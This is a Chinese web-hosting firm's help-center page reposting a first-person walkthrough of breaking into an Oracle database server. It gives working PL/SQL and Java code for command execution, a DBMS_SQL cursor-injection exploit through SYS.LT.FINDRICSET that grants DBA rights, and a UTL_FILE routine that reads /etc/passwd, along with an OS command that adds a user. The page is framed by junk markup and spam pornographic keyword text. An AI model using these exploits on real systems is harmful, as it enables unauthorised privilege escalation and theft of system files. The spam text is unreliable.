1. <var id="fe6gj"></var>

    <rp id="fe6gj"><nav id="fe6gj"></nav></rp>

    <noframes id="fe6gj"><cite id="fe6gj"></cite>

    <ins id="fe6gj"><button id="fe6gj"><p id="fe6gj"></p></button></ins>
    1. <tt id="fe6gj"><i id="fe6gj"><sub id="fe6gj"></sub></i></tt>
        始創于2000年 股票代碼:831685
        咨詢熱線:0371-60135900 注冊有禮 登錄
        • 掛牌上市企業
        • 60秒人工響應
        • 99.99%連通率
        • 7*24h人工
        • 故障100倍補償
        您的位置: 網站首頁 > 幫助中心>文章內容

        入侵Oracle服務器進一步獲取權限

        發布時間:  2012/8/13 16:16:09

        很快便連接上Oracle服務器,此時發現:

          1.連接后不是dba權限

          2.不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升權限

          3.運行SELECT UTL_HTTP.request(‘http://xxxxxxxxxxx/login.jsp’) FROM dual 后發現Oracle服務器不能連接網絡。
        -
         

          幸運的是,

          運行

          create or replace function Linx_Query (p varchar2) return number authid current_user is begin execute immediate p; return 1;end;

          成功!這個用戶具有create proceduce權限。

          此時馬上想到創建java擴展執行命令:

          create or replace and compile java source named “LinxUtil” as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=”";while ((stemp = myReader.readLine()) != null) str +=stemp+” “;myReader.close();return str;} catch (Exception e){return e.toString();}}}

          begin dbms_java.grant_permission(‘PUBLIC’, ‘SYS:java.io.FilePermission’, ‘<>’, ‘execute’ );end;

          create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ‘LinxUtil.runCMD(java.lang.String) return String’

          select * from all_objects where object_name like ‘%LINX%’

          grant all on LinxRunCMD to public

          select LinxRunCMD(‘cmd /c net user linx /add’) from dual

          但是在第一步就卡住了,服務器由于某種未知原因 不能創建java擴展!!

          還好,我們還有UTL庫可以利用:

          create or replace function LinxUTLReadfile (filename varchar2) return varchar2 is

          fHandler UTL_FILE.FILE_TYPE;

          buf varchar2(4000);

          output varchar2(8000);

          BEGIN

          fHandler := UTL_FILE.FOPEN(‘UTL_FILE_DIR’, filename, ‘r’);

          loop

          begin

          utl_file.get_line(fHandler,buf);

          DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||buf);

          exception

          when no_data_found then exit;

          end;

          output := output||buf||chr(10);

          end loop;

          UTL_FILE.FCLOSE(fHandler);

          return output;

          END;

          UTL_FILE_DIR需要先用:

          CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;

          指定目。但運行后發現沒有權限。只好想辦法提權。

          ***************游標注射***************

          老外寫了N個pdf介紹這技術,我精簡了代碼:

          DECLARE

          MYC NUMBER;

          BEGIN

          MYC := DBMS_SQL.OPEN_CURSOR;

          DBMS_SQL.PARSE(MYC,’declare pragma autonomous_transaction; begin execute immediate ”GRANT DBA TO linxlinx_current_db_user”;commit;end;’,0);

          DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);

          BEGIN SYS.LT.FINDRICSET(‘.”||dbms_sql.execute( ‘||MYC||’ )||””)–’,'x’); END;

          raise NO_DATA_FOUND;

          EXCEPTION

          WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);

          WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE(‘Cursor: ‘||MYC);

          END;

          運行后重新連接就有dba權限了,簡單吧……

          現在可以讀取文件了:

          CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS ‘/etc’;

          select LinxUTLReadfile(‘passwd’) from dual

          后面就簡單了,不寫了。


        本文出自:億恩科技【www.endtimedelusion.com】

        服務器租用/服務器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質保障!--億恩科技[ENKJ.COM]

      1. 您可能在找
      2. 億恩北京公司:
      3. 經營性ICP/ISP證:京B2-20150015
      4. 億恩鄭州公司:
      5. 經營性ICP/ISP/IDC證:豫B1.B2-20060070
      6. 億恩南昌公司:
      7. 經營性ICP/ISP證:贛B2-20080012
      8. 服務器/云主機 24小時售后服務電話:0371-60135900
      9. 虛擬主機/智能建站 24小時售后服務電話:0371-60135900
      10. 專注服務器托管17年
        掃掃關注-微信公眾號
        0371-60135900
        Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權所有  地址:鄭州市高新區翠竹街1號總部企業基地億恩大廈  法律顧問:河南亞太人律師事務所郝建鋒、杜慧月律師   京公網安備41019702002023號
          0
         
         
         
         

        0371-60135900
        7*24小時客服服務熱線

         
         
        av不卡不卡在线观看_最近2018年中文字幕_亚洲欧美一区二区三区_一级A爱做片免费观看国产_日韩在线中文天天更新_伊人中文无码在线